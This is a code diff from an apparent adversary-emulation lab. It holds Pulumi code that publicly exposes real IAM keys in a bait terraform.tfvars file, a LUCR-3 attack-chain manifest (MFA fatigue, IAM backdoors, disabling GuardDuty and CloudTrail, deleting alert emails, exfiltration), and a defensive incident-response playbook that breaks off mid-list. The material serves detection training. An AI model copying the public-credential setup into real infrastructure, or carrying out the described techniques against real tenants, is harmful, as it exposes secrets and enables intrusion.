+ server_side_encryption="AES256", + ) + +# ----------------------------------------------------------------------- +# 10. codefinger-synthetic-data-hr +# 2 CSV objects in hr/ prefix; entirely fabricated content +# ----------------------------------------------------------------------- +_hr_objects = { + "hr/employee_roster_2025.csv": ( + "employee_id,first_name,last_name,department,title,start_date,location\n" + "E0021,James,Anderson,Engineering,Senior Engineer,2020-03-15,New York\n" + "E0047,Maria,Gonzalez,Marketing,Marketing Manager,2019-07-01,Austin\n" + "E0083,Robert,Kim,Finance,Financial Analyst,2021-11-20,Chicago\n" + "E0112,Sarah,Patel,Operations,Operations Lead,2022-05-10,Seattle\n" + "E0134,David,Okafor,Engineering,Staff Engineer,2018-01-08,New York\n" + ), + "hr/compensation_bands.csv": ( + "level,title,min_usd,midpoint_usd,max_usd,bonus_target_pct\n" + "L1,Associate Engineer,75000,85000,95000,5\n" + "L2,Engineer,95000,110000,125000,8\n" + "L3,Senior Engineer,125000,140000,160000,12\n" + "L4,Staff Engineer,155000,175000,200000,15\n" + "L5,Principal Engineer,190000,215000,250000,20\n" + ), +} + +for _obj_key, _obj_content in _hr_objects.items(): + _resource_id = "codefinger-hr-" + _obj_key.split("/")[-1].replace(".", "-") + aws.s3.BucketObject( + _resource_id, + bucket=target_bucket.id, + key=_obj_key, + content=_obj_content, + content_type="text/csv", + server_side_encryption="AES256", + ) + +# ----------------------------------------------------------------------- +# 11. codefinger-bait-public-access-block +# Disables all four Block Public Access flags so the bucket policy +# granting Principal:'*' is accepted (required since S3 April 2023 default) +# ----------------------------------------------------------------------- +bait_public_access_block = aws.s3.BucketPublicAccessBlock( + "codefinger-bait-public-access-block", + bucket=bait_bucket.id, + block_public_acls=False, + block_public_policy=False, + ignore_public_acls=False, + restrict_public_buckets=False, +) + +# ----------------------------------------------------------------------- +# 12. codefinger-bait-public-bucket-policy +# Grants anonymous s3:GetObject on terraform.tfvars only +# ----------------------------------------------------------------------- +bait_bucket_policy = aws.s3.BucketPolicy( + "codefinger-bait-public-bucket-policy", + bucket=bait_bucket.id, + policy=bait_bucket.bucket.apply( + lambda name: json.dumps({ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "PublicReadCredentialFile", + "Effect": "Allow", + "Principal": "*", + "Action": "s3:GetObject", + "Resource": f"arn:aws:s3:::{name}/terraform.tfvars", + } + ], + }) + ), + opts=pulumi.ResourceOptions(depends_on=[bait_public_access_block]), +) + +# ----------------------------------------------------------------------- +# 13. codefinger-exposed-credentials-object +# terraform.tfvars containing real victim IAM key/secret rendered +# at deploy time via Pulumi interpolation (T1552.001 simulation) +# No ACL set -- BucketOwnerEnforced rejects ACL calls; public read +# is already granted by codefinger-bait-public-bucket-policy. +# ----------------------------------------------------------------------- +exposed_credentials = aws.s3.BucketObject( + "codefinger-exposed-credentials-object", + bucket=bait_bucket.id, + key="terraform.tfvars", + content=pulumi.Output.all( + victim_access_key.id, victim_access_key.secret + ).apply( + lambda args: ( + f'# Terraform variable overrides\n' + f'aws_access_key_id = "{args[0]}"\n' + f'aws_secret_access_key = "{args[1]}"\n' + f'region = "us-east-1"\n' + ) + ), + content_type="text/plain", + opts=pulumi.ResourceOptions(depends_on=[bait_bucket_policy]), +) + +pulumi.export("exposed_credentials_key", "terraform.tfvars") diff --git a/emulations/codefinger/infra/requirements.txt b/emulations/codefinger/infra/requirements.txt new file mode 100644 index 0000000..c3c667e --- /dev/null +++ b/emulations/codefinger/infra/requirements.txt @@ -0,0 +1,3 @@ +pulumi>=3.0.0,<4.0.0 +pulumi-aws>=7.0.0,<8.0.0 +boto3>=1.37.0 diff --git a/emulations/lucr_3/MANIFEST.py b/emulations/lucr_3/MANIFEST.py new file mode 100644 index 0000000..aad2e88 --- /dev/null +++ b/emulations/lucr_3/MANIFEST.py @@ -0,0 +1,365 @@ +"""MANIFEST for the LUCR-3 (Scattered Spider) adversary emulation.""" + +MANIFEST = { + "schema_version": 1, + + # ── Identity ───────────────────────────────────────────────────────────── + "name": "lucr_3", + "display_name": "LUCR-3 (Scattered Spider)", + "description": ( + "21-technique multi-cloud identity attack emulation based on LUCR-3 " + "(Scattered Spider / UNC3944): Okta MFA fatigue bypass, device registration, " + "AWS SAML pivot, M365 SharePoint collection, AWS cloud discovery, " + "IAM backdoor creation, Secrets Manager credential scraping, " + "EC2 lateral movement via SSM, GuardDuty + CloudTrail disable, " + "S3/DynamoDB/GitHub exfiltration, and M365 email cover-up. " + "Requires Okta credentials via environment variables." + ), + "tier": "enterprise", + + # ── Readiness ───────────────────────────────────────────────────────────── + "readiness": {"type": "none"}, + + # ── UI catalogue metadata ────────────────────────────────────────────────── + "origin": "unknown", + "origin_label": "APT EMULATION", + "tags": [ + "Multi-Cloud", + "Identity Attack", + "MFA Fatigue", + "SAML Pivot", + "Scattered Spider", + "Okta", + "M365", + "GitHub", + "IAM Backdoor", + "GuardDuty Disable", + ], + "technique_count": 21, + "severity": "CRITICAL", + "aliases": "Scattered Spider, Oktapus, UNC3944, STORM-0875", + "attribution": "LUCR-3 — financial extortion via IP theft; demands in tens of millions USD", + "active_since": "Documented by Permiso (2023)", + "targets": "SaaS-heavy organizations with Okta + AWS + M365 + GitHub", + "incidents": [ + "LUCR-3: Scattered Spider Getting SaaS-y in the Cloud (Permiso)", + "MGM Resorts International breach (2023)", + "Caesars Entertainment breach (2023)", + ], + + # ── Kill-chain phases ────────────────────────────────────────────────────── + "attack_path": [ + { + "phase": 1, + "name": "Initial IDP Compromise", + "techniques": [ + {"id": "T1078.004", "name": "Valid Accounts: Cloud Accounts"}, + {"id": "T1621", "name": "Multi-Factor Authentication Request Generation"}, + ], + }, + { + "phase": 2, + "name": "MFA Bypass & Device Registration", + "techniques": [ + {"id": "T1111", "name": "Multi-Factor Authentication Interception"}, + {"id": "T1098.005", "name": "Account Manipulation: Device Registration"}, + ], + }, + { + "phase": 3, + "name": "AWS SAML Pivot", + "techniques": [ + {"id": "T1550.001", "name": "Use Alternate Authentication Material: Application Access Token"}, + ], + }, + { + "phase": 4, + "name": "M365 SharePoint Collection", + "techniques": [ + {"id": "T1213.002", "name": "Data from Information Repositories: SharePoint"}, + ], + }, + { + "phase": 5, + "name": "AWS Cloud Discovery", + "techniques": [ + {"id": "T1580", "name": "Cloud Infrastructure Discovery"}, + {"id": "T1619", "name": "Cloud Storage Object Discovery"}, + {"id": "T1082", "name": "System Information Discovery"}, + ], + }, + { + "phase": 6, + "name": "AWS IAM Backdoor", + "techniques": [ + {"id": "T1098", "name": "Account Manipulation"}, + {"id": "T1136.003", "name": "Create Account: Cloud Account"}, + {"id": "T1098.001", "name": "Account Manipulation: Additional Cloud Credentials"}, + ], + }, + { + "phase": 7, + "name": "Credential Harvest & EC2 Staging", + "techniques": [ + {"id": "T1555.006", "name": "Credentials from Password Stores: Cloud Secrets Management Stores"}, + {"id": "T1578.002", "name": "Modify Cloud Compute Infrastructure: Create Cloud Instance"}, + ], + }, + { + "phase": 8, + "name": "Defense Evasion", + "techniques": [ + {"id": "T1562.001", "name": "Impair Defenses: Disable or Modify Tools"}, + {"id": "T1562.008", "name": "Impair Defenses: Disable or Modify Cloud Logs"}, + ], + }, + { + "phase": 9, + "name": "Lateral Movement & Cover-Up", + "techniques": [ + {"id": "T1021.004", "name": "Remote Services: SSH"}, + {"id": "T1072", "name": "Software Deployment Tools"}, + {"id": "T1070.008", "name": "Indicator Removal: Clear Mailbox Data"}, + ], + }, + { + "phase": 10, + "name": "Data Exfiltration", + "techniques": [ + {"id": "T1530", "name": "Data from Cloud Storage"}, + {"id": "T1213.003", "name": "Data from Information Repositories: Code Repositories"}, + ], + }, + ], + + # ── Full MITRE mappings ──────────────────────────────────────────────────── + "mitre_mappings": [ + { + "id": "T1078.004", + "name": "Valid Accounts: Cloud Accounts", + "tactic": "Initial Access", + "platform": "Okta", + "description": "POST to Okta /api/v1/authn with victim credentials purchased from deepweb marketplace or obtained via smishing.", + }, + { + "id": "T1621", + "name": "Multi-Factor Authentication Request Generation", + "tactic": "Credential Access", + "platform": "Okta", + "description": "Repeated MFA push/SMS requests to victim device to induce fatigue and accidental approval. SIMULATED.", + }, + { + "id": "T1111", + "name": "Multi-Factor Authentication Interception", + "tactic": "Credential Access", + "platform": "Okta", + "description": "OTP code interception via mock TOTP server. DOCUMENTED ONLY — SIM swapping is illegal.", + }, + { + "id": "T1098.005", + "name": "Account Manipulation: Device Registration", + "tactic": "Persistence", + "platform": "Okta", + "description": "Enroll attacker-controlled TOTP/SMS factor on victim account to establish persistent MFA access.", + }, + { + "id": "T1213.002", + "name": "Data from Information Repositories: SharePoint", + "tactic": "Collection", + "platform": "Microsoft 365", + "description": "Microsoft Graph API search for sensitive SharePoint/OneDrive documents (IT procedures, VPN configs, passwords).", + }, + { + "id": "T1580", + "name": "Cloud Infrastructure Discovery", + "tactic": "Discovery", + "platform": "AWS", + "description": "Enumerate IAM users/roles, EC2 instances, DynamoDB tables, S3 buckets, VPCs, SSM-managed instances via SAML federated session.", + }, + { + "id": "T1619", + "name": "Cloud Storage Object Discovery", + "tactic": "Discovery", + "platform": "AWS S3", + "description": "ListObjectsV2 on corporate and engineering S3 buckets to identify high-value data for exfiltration.", + }, + { + "id": "T1082", + "name": "System Information Discovery", + "tactic": "Discovery", + "platform": "AWS EC2", + "description": "DescribeInstances + DescribeInstanceInformation to enumerate EC2 instances and their SSM agent status.", + }, + { + "id": "T1098", + "name": "Account Manipulation", + "tactic": "Persistence", + "platform": "AWS IAM", + "description": "CreateLoginProfile on backdoor IAM user; AttachUserPolicy AdministratorAccess.", + }, + { + "id": "T1136.003", + "name": "Create Account: Cloud Account", + "tactic": "Persistence", + "platform": "AWS IAM", + "description": "Create long-lived IAM backdoor user (svc-automation-lucr3) blending with legitimate service account naming.", + }, + { + "id": "T1098.001", + "name": "Account Manipulation: Additional Cloud Credentials", + "tactic": "Persistence", + "platform": "AWS IAM", + "description": "CreateAccessKey on backdoor IAM user; second long-lived key provides access independent of SAML session.", + }, + { + "id": "T1555.006", + "name": "Credentials from Password Stores: Cloud Secrets Management Stores", + "tactic": "Credential Access", + "platform": "AWS Secrets Manager", + "description": "ListSecrets + GetSecretValue on prod/database, prod/payments, prod/infrastructure (canary), prod/cicd/github-actions-token (canary). SIMULATED with synthetic secrets.", + }, + { + "id": "T1578.002", + "name": "Modify Cloud Compute Infrastructure: Create Cloud Instance", + "tactic": "Defense Evasion", + "platform": "AWS EC2", + "description": "RunInstances to launch attacker-controlled EC2 instance with IAM instance profile for persistent cloud shell access.", + }, + { + "id": "T1550.001", + "name": "Use Alternate Authentication Material: Application Access Token", + "tactic": "Defense Evasion", + "platform": "Okta / AWS STS", + "description": "AssumeRoleWithSAML using Okta-issued SAML assertion to obtain temporary AWS credentials without long-term key.", + }, + { + "id": "T1562.001", + "name": "Impair Defenses: Disable or Modify Tools", + "tactic": "Defense Evasion", + "platform": "AWS GuardDuty", + "description": "UpdateDetector Enable=False to disable GuardDuty threat detection before exfiltration.", + }, + { + "id": "T1562.008", + "name": "Impair Defenses: Disable or Modify Cloud Logs", + "tactic": "Defense Evasion", + "platform": "AWS CloudTrail", + "description": "StopLogging on CloudTrail trail to eliminate evidence of subsequent exfiltration activity.", + }, + { + "id": "T1021.004", + "name": "Remote Services: SSH", + "tactic": "Lateral Movement", + "platform": "AWS EC2 / SSM", + "description": "StartSession via SSM Session Manager to EC2 target — lateral movement without SSH keys or open port 22.", + }, + { + "id": "T1072", + "name": "Software Deployment Tools", + "tactic": "Lateral Movement", + "platform": "SCCM", + "description": "SCCM enumeration for lateral movement to domain-joined endpoints. DOCUMENTED ONLY — requires domain-joined lab.", + }, + { + "id": "T1070.008", + "name": "Indicator Removal: Clear Mailbox Data", + "tactic": "Defense Evasion", + "platform": "Microsoft 365", + "description": "Microsoft Graph API hard/soft delete of security alert emails to prevent victim notification of the compromise.", + }, + { + "id": "T1530", + "name": "Data from Cloud Storage", + "tactic": "Collection", + "platform": "AWS S3 / DynamoDB", + "description": "GetObject on corporate and engineering S3 buckets + DynamoDB Scan on customer records table. Canary object access triggers alert.", + }, + { + "id": "T1213.003", + "name": "Data from Information Repositories: Code Repositories", + "tactic": "Collection", + "platform": "GitHub", + "description": "git clone of target repository using harvested GitHub PAT from Secrets Manager.", + }, + ], + + # ── References ──────────────────────────────────────────────────────────── + "references": [ + { + "icon": ">", + "title": "LUCR-3: Scattered Spider Getting SaaS-y in the Cloud", + "source": "Permiso Security · permiso.io", + "type": "REPORT", + "color": "cyan", + }, + { + "icon": ">", + "title": "Scattered Spider: The Modus Operandi", + "source": "CrowdStrike · crowdstrike.com", + "type": "REPORT", + "color": "cyan", + }, + { + "icon": "#", + "title": "MITRE ATT&CK — T1621: Multi-Factor Authentication Request Generation", + "source": "MITRE ATT&CK · mitre.org", + "type": "MITRE", + "color": "purple", + }, + { + "icon": "#", + "title": "MITRE ATT&CK — T1098.005: Account Manipulation: Device Registration", + "source": "MITRE ATT&CK · mitre.org", + "type": "MITRE", + "color": "purple", + }, + { + "icon": "~", + "title": "Okta Security: Phishing-Resistant MFA Guidance", + "source": "Okta Security Blog", + "type": "DOCUMENTATION", + "color": "orange", + }, + ], + + # ── Infrastructure & cost ───────────────────────────────────────────────── + "phase_count": 10, + "estimated_duration_minutes": 120, + "estimated_cost_per_hour_usd": 0.059, + "default_ttl_hours": 4, + "total_resources": 26, + "resources": { + "ec2_count": 1, + "instance_types": ["t3.micro"], + "uses_lambda": False, + "uses_secrets_manager": True, + "uses_cloudtrail": True, + "uses_guardduty": True, + }, + "resource_costs": [ + {"name": "EC2 t3.micro (target)", "count": 1, "cost_per_hour_usd": 0.05}, + {"name": "GuardDuty detector", "count": 1, "cost_per_hour_usd": 0.005}, + {"name": "CloudTrail trail", "count": 1, "cost_per_hour_usd": 0.0014}, + {"name": "Secrets Manager secrets","count": 4, "cost_per_hour_usd": 0.0022}, + {"name": "S3 buckets", "count": 3, "cost_per_hour_usd": 0.0}, + {"name": "IAM roles + users", "count": 4, "cost_per_hour_usd": 0.0}, + {"name": "DynamoDB table", "count": 1, "cost_per_hour_usd": 0.0}, + {"name": "GitHub repo", "count": 1, "cost_per_hour_usd": 0.0}, + ], + # LUCR-3 requires Okta credentials via environment variables: + # OKTA_VICTIM_USERNAME, OKTA_VICTIM_PASSWORD + # Optional (for SAML pivot): OKTA_DOMAIN (or 'okta_org_url' Pulumi export) + # Optional (for M365 phases): M365_TENANT_ID + # Optional (for GitHub phases): GITHUB_OWNER + "env_vars_required": [ + "OKTA_VICTIM_USERNAME", + "OKTA_VICTIM_PASSWORD", + ], + "env_vars_optional": [ + "OKTA_DOMAIN", + "FEDERATED_ROLE_ARN", + "SAML_PROVIDER_ARN", + "M365_TENANT_ID", + "GITHUB_OWNER", + ], +} diff --git a/emulations/lucr_3/PLAYBOOK.md b/emulations/lucr_3/PLAYBOOK.md new file mode 100644 index 0000000..dcedcb8 --- /dev/null +++ b/emulations/lucr_3/PLAYBOOK.md @@ -0,0 +1,800 @@ +# IR Playbook: LUCR-3 (Scattered Spider) — Multi-Cloud Identity-First Attack + +## Classification + +| Field | Value | +|-------|-------| +| Incident Type | Identity Compromise / Multi-Cloud Data Exfiltration | +| Threat Actor | LUCR-3 (aka Scattered Spider, Oktapus, UNC3944, STORM-0875) | +| Platform | multi_cloud (Okta, AWS, M365/SharePoint, GitHub) | +| Severity | Critical | +| Motivation | Financial extortion via IP theft; ransom demands in tens of millions USD | +| MITRE Tactics | Initial Access, Credential Access, Persistence, Discovery, Collection, Defense Evasion, Lateral Movement | +| MITRE Techniques | T1078.004, T1621, T1111, T1098.005, T1213.002, T1580, T1619, T1082, T1098, T1136.003, T1098.001, T1555.006, T1578.002, T1550.001, T1562.001, T1562.008, T1021.004, T1072, T1070.008, T1530, T1213.003 | +| Tools Used | S3 Browser 10.9.9, AWS CloudShell, AWS Management Console, SCCM, GitHub | + +--- + +## 1. Preparation + +### Required Capabilities (must be in place before incident) + +**Okta** +- Okta System Log streaming to SIEM (Splunk/Sentinel) with < 5-minute latency +- Okta ThreatInsight enabled in `Log and Enforce` mode +- MFA enrollment policies require phishing-resistant factors (FIDO2/WebAuthn) — SMS/TOTP as fallback only +- Okta behavior detection rules: new country, new device, impossible travel +- Helpdesk identity verification process (video call + manager approval) for any MFA reset or factor enrollment +- Network Zones defined for corporate IP ranges; alerts on logins from unlisted zones + +**AWS** +- CloudTrail multi-region trail enabled and writing to immutable S3 bucket (Object Lock, WORM) +- GuardDuty enabled in all regions; findings forwarded to Security Hub and SIEM +- AWS Security Hub enabled with CIS AWS Foundations Benchmark and AWS Foundational Security Best Practices standards +- S3 server access logging enabled on all buckets (independent of CloudTrail) +- SNS alert on CloudTrail `StopLogging` and `UpdateDetector` events via EventBridge rule +- IAM Access Analyzer enabled; alerting on new cross-account trust policies +- AWS Config rule: `iam-no-inline-policy-check`, `iam-user-mfa-enabled`, `guardduty-enabled-centralized` +- SCPs blocking `guardduty:DeleteDetector`, `cloudtrail:StopLogging`, `cloudtrail:DeleteTrail` from non-admin OUs + +**M365 / Azure AD** +- Unified Audit Log enabled and retained for 90+ days +- Microsoft Defender for Cloud Apps (MCAS) connected; impossible travel and mass download policies active +- Conditional Access policies: require compliant device + MFA for all SharePoint access +- Azure AD Identity Protection: risk-based CA policy blocking high-risk sign-ins + +**GitHub** +- GitHub Audit Log streaming to SIEM +- GitHub Advanced Security: secret scanning enabled on all repos +- PAT expiration policy enforced (max 90 days); fine-grained PATs required for new tokens +- GitHub `personal_access_token.create` events monitored in SIEM + +**General** +- On-call runbook and escalation tree documented and tested +- IR retainer with forensic partner active +- Canary tokens deployed: bait secrets in SecretsManager, bait Terraform state file, bait GitHub PAT — all with alerting on access +- SIEM correlation rule: `CreateUser` + `AttachUserPolicy(AdministratorAccess)` + `CreateAccessKey` within 10 minutes from same principal + +--- + +## 2. Identification + +### Detection Triggers (prioritized) + +#### HIGH-CONFIDENCE — Indicates Active Compromise + +| Platform | Event | Why High-Confidence | +|----------|-------|---------------------| +| Okta | `user.mfa.factor.activate` from non-corporate IP | Attacker enrolling their own device (T1098.005) | +| AWS CloudTrail | `StopLogging` on active CloudTrail trail | Almost always attacker pre-exfil action (T1562.008) | +| AWS CloudTrail | `UpdateDetector` disabling GuardDuty | LUCR-3 signature move before bulk exfil (T1562.001) | +| AWS CloudTrail | `CreateUser` + `CreateLoginProfile` + `AttachUserPolicy` within 10 min | Backdoor IAM user creation sequence (T1136.003 + T1098) | +| AWS CloudTrail | `AssumeRoleWithSAML` from anomalous IP | IDP-to-AWS pivot (T1078.004) | +| AWS SecretsManager | `GetSecretValue` on canary/bait secret | Immediate high-fidelity alert (T1555.006) | +| S3 server access logs | Bulk `GetObject` from newly created IAM key | Exfiltration (T1530) — independent of CloudTrail | +| M365 Audit | `HardDelete` of security alert emails | Active attempt to suppress IR (T1070.008) | + +#### MEDIUM-CONFIDENCE — Investigate Further + +| Platform | Event | Why Medium-Confidence | +|----------|-------|----------------------| +| Okta | Multiple `user.authentication.auth_via_mfa` in short window from same IP | MFA fatigue (T1621); could be user error | +| Okta | `user.session.start` from new geolocation | Could be VPN, travel | +| AWS CloudTrail | Rapid `ListUsers` + `ListRoles` + `DescribeInstances` + `ListTables` | Discovery sweep (T1580); could be legitimate audit tool | +| AWS CloudTrail | `ListBuckets` + `ListObjects` across multiple buckets from federated principal | S3 discovery (T1619); could be data catalog tool | +| AWS CloudTrail | `RunInstances` from newly created IAM user | Attacker EC2 foothold (T1578.002); could be automation | +| M365 Audit | High-volume `FileAccessed` on SharePoint from federated identity | Data collection (T1213.002); could be sync client | +| GitHub Audit | `git.clone` from anomalous IP using PAT | Code repo exfil (T1213.003); could be dev from home | + +--- + +### Key Investigation Queries + +#### Okta — Authentication Anomalies + +```bash +# List recent authentication events for a specific user +curl -H "Authorization: SSWS ${OKTA_API_TOKEN}" \ + "https://${OKTA_DOMAIN}/api/v1/logs?filter=actor.alternateId+eq+\"victim@company.com\"&since=2024-01-01T00:00:00Z&limit=100" \ + | jq '.[] | {time: .published, event: .eventType, ip: .client.ipAddress, geo: .client.geographicalContext}' + +# Find all MFA challenges in a time window (MFA fatigue detection) +curl -H "Authorization: SSWS ${OKTA_API_TOKEN}" \ + "https://${OKTA_DOMAIN}/api/v1/logs?filter=eventType+eq+\"user.authentication.auth_via_mfa\"&since=$(date -u -d '24 hours ago' '+%Y-%m-%dT%H:%M:%SZ')&limit=200" \ + | jq 'group_by(.actor.alternateId)[] | {user: .[0].actor.alternateId, count: length, ips: [.[].client.ipAddress] | unique}' + +# Find new MFA factor enrollments (attacker device registration) +curl -H "Authorization: SSWS ${OKTA_API_TOKEN}" \ + "https://${OKTA_DOMAIN}/api/v1/logs?filter=eventType+eq+\"user.mfa.factor.activate\"&since=$(date -u -d '48 hours ago' '+%Y-%m-%dT%H:%M:%SZ')" \ + | jq '.[] | {time: .published, user: .actor.alternateId, ip: .client.ipAddress, geo: .client.geographicalContext, factor: .target[0].displayName}' + +# Check enrolled factors for a specific user +curl -H "Authorization: SSWS ${OKTA_API_TOKEN}" \ + "https://${OKTA_DOMAIN}/api/v1/users/${VICTIM_USER_ID}/factors" \ + | jq '.[] | {id: .id, type: .factorType, provider: .provider, status: .status, created: .created, lastUpdated: .lastUpdated}' + +# Get active sessions for a user +curl -H "Authorization: SSWS ${OKTA_API_TOKEN}" \ + "https://${OKTA_DOMAIN}/api/v1/users/${VICTIM_USER_ID}/sessions" \ + | jq '.[] | {id: .id, created: .createdAt, lastActive: .lastFactorVerification, mfaActive: .mfaActive}' +``` + +#### AWS — CloudTrail Investigation + +```bash +# Set time window for investigation (adjust as needed) +START_TIME="2024-01-15T00:00:00Z" +END_TIME="2024-01-16T00:00:00Z" +REGION="us-east-1" + +# Find AssumeRoleWithSAML events (IDP-to-AWS pivot) +aws cloudtrail lookup-events \ + --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRoleWithSAML \ + --start-time "${START_TIME}" --end-time "${END_TIME}" \ + --region "${REGION}" \ + --query 'Events[*].{Time:EventTime,User:Username,Source:SourceIPAddress,Role:Resources[0].ResourceName}' \ + --output table + +# Find backdoor IAM user creation sequence +aws cloudtrail lookup-events \ + --lookup-attributes AttributeKey=EventName,AttributeValue=CreateUser \ + --start-time "${START_TIME}" --end-time "${END_TIME}" \ + --region "${REGION}" \ + --query 'Events[*].{Time:EventTime,User:Username,IP:SourceIPAddress,NewUser:Resources[0].ResourceName}' \ + --output table + +# Check all events by the attacker IAM user +aws cloudtrail lookup-events \ + --lookup-attributes AttributeKey=Username,AttributeValue=lucr3-attacker-iam-user \ + --start-time "${START_TIME}" --end-time "${END_TIME}" \ + --region "${REGION}" \ + --query 'Events[*].{Time:EventTime,Event:EventName,IP:SourceIPAddress}' \ + --output table + +# Find GuardDuty disable event +aws cloudtrail lookup-events \ + --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateDetector \ + --start-time "${START_TIME}" --end-time "${END_TIME}" \ + --region "${REGION}" \ + --query 'Events[*].{Time:EventTime,User:Username,IP:SourceIPAddress}' \ + --output table + +# Find CloudTrail StopLogging +aws cloudtrail lookup-events \ + --lookup-attributes AttributeKey=EventName,AttributeValue=StopLogging \ + --start-time "${START_TIME}" --end-time "${END_TIME}" \ + --region "${REGION}" \ + --query 'Events[*].{Time:EventTime,User:Username,IP:SourceIPAddress,Trail:Resources[0].ResourceName}' \ + --output table + +# Find all SecretsManager access (harvest detection) +aws cloudtrail lookup-events \ + --lookup-attributes AttributeKey=EventName,AttributeValue=GetSecretValue \ + --start-time "${START_TIME}" --end-time "${END_TIME}" \ + --region "${REGION}" \ + --query 'Events[*].{Time:EventTime,User:Username,IP:SourceIPAddress,Secret:Resources[0].ResourceName}' \ + --output table + +# Enumerate all IAM users created recently +aws iam list-users \ + --query 'Users[?CreateDate>=`'"${START_TIME}"'`].{User:UserName,Created:CreateDate,ARN:Arn}' \ + --output table + +# Check policies attached to suspected backdoor user +aws iam list-attached-user-policies \ + --user-name lucr3-attacker-iam-user \ + --output table + +# List access keys for backdoor user +aws iam list-access-keys \ + --user-name lucr3-attacker-iam-user \ + --query 'AccessKeyMetadata[*].{KeyId:AccessKeyId,Status:Status,Created:CreateDate}' \ + --output table + +# Check for RunInstances events (attacker EC2 launch) +aws cloudtrail lookup-events \ + --lookup-attributes AttributeKey=EventName,AttributeValue=RunInstances \ + --start-time "${START_TIME}" --end-time "${END_TIME}" \ + --region "${REGION}" \ + --query 'Events[*].{Time:EventTime,User:Username,IP:SourceIPAddress}' \ + --output table + +# Find EC2 instances launched by attacker user +aws ec2 describe-instances \ + --filters "Name=tag:aws:cloudformation:stack-name,Values=*lucr3*" \ + --query 'Reservations[*].Instances[*].{ID:InstanceId,State:State.Name,LaunchTime:LaunchTime,IP:PublicIpAddress}' \ + --output table + +# Check SSM session history for lateral movement +aws ssm describe-sessions \ + --state Active \ + --filters "key=Owner,value=arn:aws:iam::*:user/lucr3-attacker-iam-user" \ + --output table + +# Query S3 access logs for bulk exfiltration (replace BUCKET and LOG_PREFIX) +aws s3api select-object-content \ + --bucket "${LOG_BUCKET}" \ + --key "${LOG_PREFIX}/$(date +%Y-%m-%d)" \ + --expression "SELECT * FROM S3Object s WHERE s.operation = 'REST.GET.OBJECT' AND s.requester = 'arn:aws:iam::ACCOUNT:user/lucr3-attacker-iam-user'" \ + --expression-type SQL \ + --input-serialization '{"CSV":{"FieldDelimiter":" "}}' \ + --output-serialization '{"CSV":{}}' \ + output.csv + +# Get GuardDuty findings +aws guardduty list-findings \ + --detector-id $(aws guardduty list-detectors --query 'DetectorIds[0]' --output text) \ + --finding-criteria '{"Criterion":{"updatedAt":{"Gte":'"$(date -d '24 hours ago' +%s000)"'}}}' \ + --output json \ + | xargs -I{} aws guardduty get-findings \ + --detector-id $(aws guardduty list-detectors --query 'DetectorIds[0]' --output text) \ + --finding-ids {} +``` + +#### M365 — SharePoint and Mailbox Investigation + +```bash +# Query SharePoint file access events (requires Exchange Online PowerShell or Graph API) +# Via Microsoft Graph API (use access token with AuditLog.Read.All) +ACCESS_TOKEN="" + +# Search unified audit log for FileAccessed events +curl -H "Authorization: Bearer ${ACCESS_TOKEN}" \ + "https://graph.microsoft.com/v1.0/security/auditLog/queries" \ + -X POST -H "Content-Type: application/json" \ + -d '{ + "displayName": "LUCR3 SharePoint Investigation", + "filterStartDateTime": "2024-01-15T00:00:00Z", + "filterEndDateTime": "2024-01-16T00:00:00Z", + "recordTypeFilters": ["sharePointFileOperation"], + "operationFilters": ["FileAccessed", "SearchQueryPerformed"] + }' + +# Query bulk file download events via PowerShell (run in Exchange Online PowerShell) +# Search-UnifiedAuditLog -StartDate 2024-01-15 -EndDate 2024-01-16 -Operations FileAccessed,SearchQueryPerformed -ResultSize 1000 | Export-Csv sharepoint_audit.csv + +# Check for HardDelete / SoftDelete mailbox events +curl -H "Authorization: Bearer ${ACCESS_TOKEN}" \ + "https://graph.microsoft.com/v1.0/security/auditLog/queries" \ + -X POST -H "Content-Type: application/json" \ + -d '{ + "displayName": "LUCR3 Mailbox Deletion Investigation", + "filterStartDateTime": "2024-01-15T00:00:00Z", + "filterEndDateTime": "2024-01-16T00:00:00Z", + "operationFilters": ["HardDelete", "SoftDelete", "MoveToDeletedItems"] + }' + +# Check Azure AD sign-in logs for federated logins +az login +az monitor activity-log list \ + --start-time "2024-01-15T00:00:00Z" \ + --end-time "2024-01-16T00:00:00Z" \ + --query '[?operationName.value==`Microsoft.AAD/signIns/write`].{time:eventTimestamp,user:caller,result:status.value}' \ + --output table + +# Get risky sign-ins from Azure AD Identity Protection +az rest --method GET \ + --url "https://graph.microsoft.com/v1.0/identityProtection/riskyUsers?filter=riskLevel eq 'high'" \ + --headers "Authorization=Bearer ${ACCESS_TOKEN}" +``` + +#### GitHub — Repository and PAT Investigation + +```bash +# List audit log events for organization (requires org owner token) +gh api \ + -H "Accept: application/vnd.github+json" \ + "/orgs/${ORG_NAME}/audit-log?phrase=action:git.clone&include=git&per_page=100" \ + | jq '.[] | {time: .created_at, actor: .actor, repo: .repo, ip: .actor_ip}' + +# Check for PAT usage events +gh api \ + -H "Accept: application/vnd.github+json" \ + "/orgs/${ORG_NAME}/audit-log?phrase=action:personal_access_token&per_page=100" \ + | jq '.[] | {time: .created_at, actor: .actor, action: .action, token_id: .token_id}' + +# Check repository access logs +gh api \ + -H "Accept: application/vnd.github+json" \ + "/orgs/${ORG_NAME}/audit-log?phrase=repo:${ORG_NAME}/${REPO_NAME}&per_page=200" \ + | jq '.[] | {time: .created_at, actor: .actor, action: .action, ip: .actor_ip}' + +# List active fine-grained PATs for the organization +gh api \ + -H "Accept: application/vnd.github+json" \ + "/orgs/${ORG_NAME}/personal-access-tokens?per_page=100" \ + | jq '.[] | {id: .id, owner: .owner.login, name: .name, created: .credential_created_at, last_used: .credential_last_used_at}' +``` + +--- + +## 3. Containment + +### Immediate Actions (first 15 minutes) + +#### Okta — Lock Down the Identity Layer First + +```bash +# 1. Suspend the compromised Okta user immediately +curl -X POST -H "Authorization: SSWS ${OKTA_API_TOKEN}" \ + -H "Content-Type: application/json" \ + "https://${OKTA_DOMAIN}/api/v1/users/${VICTIM_USER_ID}/lifecycle/suspend" + +# 2. Clear ALL active sessions for the victim user +curl -X DELETE -H "Authorization: SSWS ${OKTA_API_TOKEN}" \ + "https://${OKTA_DOMAIN}/api/v1/users/${VICTIM_USER_ID}/sessions" + +# 3. Delete the attacker-enrolled TOTP factor +# First, identify the attacker's factor ID from enrollment investigation +ATTACKER_FACTOR_ID="" +curl -X DELETE -H "Authorization: SSWS ${OKTA_API_TOKEN}" \ + "https://${OKTA_DOMAIN}/api/v1/users/${VICTIM_USER_ID}/factors/${ATTACKER_FACTOR_ID}" + +# 4. 